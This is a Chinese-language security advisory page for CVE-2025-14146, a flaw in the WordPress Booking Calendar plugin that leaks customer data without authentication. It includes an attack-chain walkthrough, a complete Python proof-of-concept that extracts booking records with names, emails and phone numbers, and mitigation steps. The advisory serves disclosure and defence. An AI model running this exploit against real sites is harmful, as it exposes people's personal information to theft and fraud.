IPBUF安全漏洞报告
English
CVE-2025-14146 CVSS 5.3 中危

CVE-2025-14146 WordPress Booking Calendar 敏感信息泄露漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-14146
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Booking Calendar WordPress Plugin

相关标签

敏感信息泄露WordPress插件漏洞Booking CalendarAJAX安全Nonce验证绕过CVE-2025-14146信息收集无需认证

漏洞概述

WordPress Booking Calendar插件存在敏感信息泄露漏洞,攻击者可在无需认证的情况下利用此漏洞获取用户的敏感个人信息。该漏洞源于插件的`WPBC_FLEXTIMELINE_NAV` AJAX操作默认禁用了nonce验证机制(`booking_is_nonce_at_front_end`选项默认为关闭状态)。当管理员启用了`booking_is_show_popover_in_timeline_front_end`选项(该选项在演示安装中默认为启用状态)时,未经身份验证的攻击者可以通过构造特定的AJAX请求,绕过安全验证机制,非法访问并提取包含客户姓名、电子邮件地址、电话号码及预订详情等敏感数据。此漏洞影响Booking Calendar插件10.14.10及之前的所有版本,CVSS评分为5.3,属于中等严重程度。

技术细节

该漏洞的技术根源在于WordPress Booking Calendar插件在处理前端时间线导航功能时,错误地允许nonce验证被条件性地禁用。插件核心文件`wpbc-ajax.php`中的`WPBC_FLEXTIMELINE_NAV` AJAX动作处理器依赖`booking_is_nonce_at_front_end`配置选项来决定是否执行nonce验证,而该选项在默认配置下为关闭状态('Off')。攻击者可以利用这一安全缺陷,通过向`/wp-admin/admin-ajax.php`端点发送特制的POST请求,指定`action=WPBC_FLEXTIMELINE_NAV`参数,即可绕过身份验证和授权检查。漏洞利用的关键条件是目标站点需启用`booking_is_show_popover_in_timeline_front_end`选项,该选项控制时间线前端弹出窗口的显示功能。通过利用`timeline_v2/wpbc-class-timeline_v2.php`中的相关功能代码,攻击者能够检索所有预订记录中的敏感客户信息,包括姓名、联系方式和预订详情。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用WordPress Booking Calendar插件,通过检查插件特征或版本信息
STEP 2
步骤2
攻击者确认目标站点启用了booking_is_show_popover_in_timeline_front_end选项(该选项控制前端时间线弹出窗口功能)
STEP 3
步骤3
攻击者构造恶意的AJAX POST请求,指定action参数为WPBC_FLEXTIMELINE_NAV,绕过默认禁用的nonce验证机制
STEP 4
步骤4
服务器处理请求,由于nonce验证被条件性地禁用,攻击者无需提供有效的安全令牌即可通过验证
STEP 5
步骤5
攻击者成功获取包含敏感信息的预订数据,包括客户姓名、邮箱地址、电话号码和预订详情
STEP 6
步骤6
攻击者收集并整理泄露的数据,可用于身份盗窃、社会工程攻击或其他恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-14146 PoC - WordPress Booking Calendar Sensitive Information Exposure This PoC demonstrates how an unauthenticated attacker can extract sensitive booking data from WordPress sites running the Booking Calendar plugin <= 10.14.10 """ import requests import json import sys def exploit_booking_calendar(target_url): """ Exploit the WPBC_FLEXTIMELINE_NAV AJAX action to extract sensitive booking information """ # Target AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct the malicious request # The vulnerability allows unauthenticated access to booking data payload = { 'action': 'WPBC_FLEXTIMELINE_NAV', 'booking_model': 'calendar', # or 'timeline' 'dates': '2025-01-01,2025-12-31', # Date range to query 'wh_booking_id': '0', 'wh_approved': '1', 'wh_is_new': '1', 'cost_pay': '0', 'summed_cost': '0' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting: {ajax_url}") print("[*] Sending malicious request to extract booking data...") try: response = requests.post(ajax_url, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Check if we received booking data if 'booking' in response.text.lower() or 'cost' in response.text.lower(): print("[!] VULNERABLE - Sensitive booking data may have been exposed!") print(f"\n[+] Sample response (first 1000 chars):\n{response.text[:1000]}") # Save full response with open('cve_2025_14146_response.txt', 'w') as f: f.write(response.text) print("[*] Full response saved to cve_2025_14146_response.txt") return True else: print("[-] No obvious booking data in response") print(f"[*] Response preview: {response.text[:500]}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return False def check_nonce_protection(target_url): """ Check if the nonce protection is enabled (should return 403 if protected) """ ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Send request without valid nonce payload = { 'action': 'WPBC_FLEXTIMELINE_NAV', 'security': 'invalid_nonce_here' } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 403: print("[*] Nonce protection appears to be ENABLED") return True else: print("[!] Nonce protection appears to be DISABLED (vulnerable)") return False except: return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_14146_poc.py <target_url>") print("Example: python cve_2025_14146_poc.py http://example.com") sys.exit(1) target = sys.argv[1] exploit_booking_calendar(target)

影响范围

Booking Calendar WordPress Plugin <= 10.14.10

防御指南

临时缓解措施
在官方安全补丁发布之前,可采取以下临时缓解措施:1)禁用booking_is_show_popover_in_timeline_front_end选项以阻止时间线前端弹窗功能;2)通过.htaccess或WAF规则限制/admin-ajax.php端点的访问频率;3)添加自定义代码检查WPBC_FLEXTIMELINE_NAV请求是否包含有效的认证会话;4)考虑使用WordPress安全插件(如Wordfence)提供额外的保护层;5)审查并限制谁可以访问预订数据的后台管理界面。建议尽快升级到插件的最新修复版本以彻底解决此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表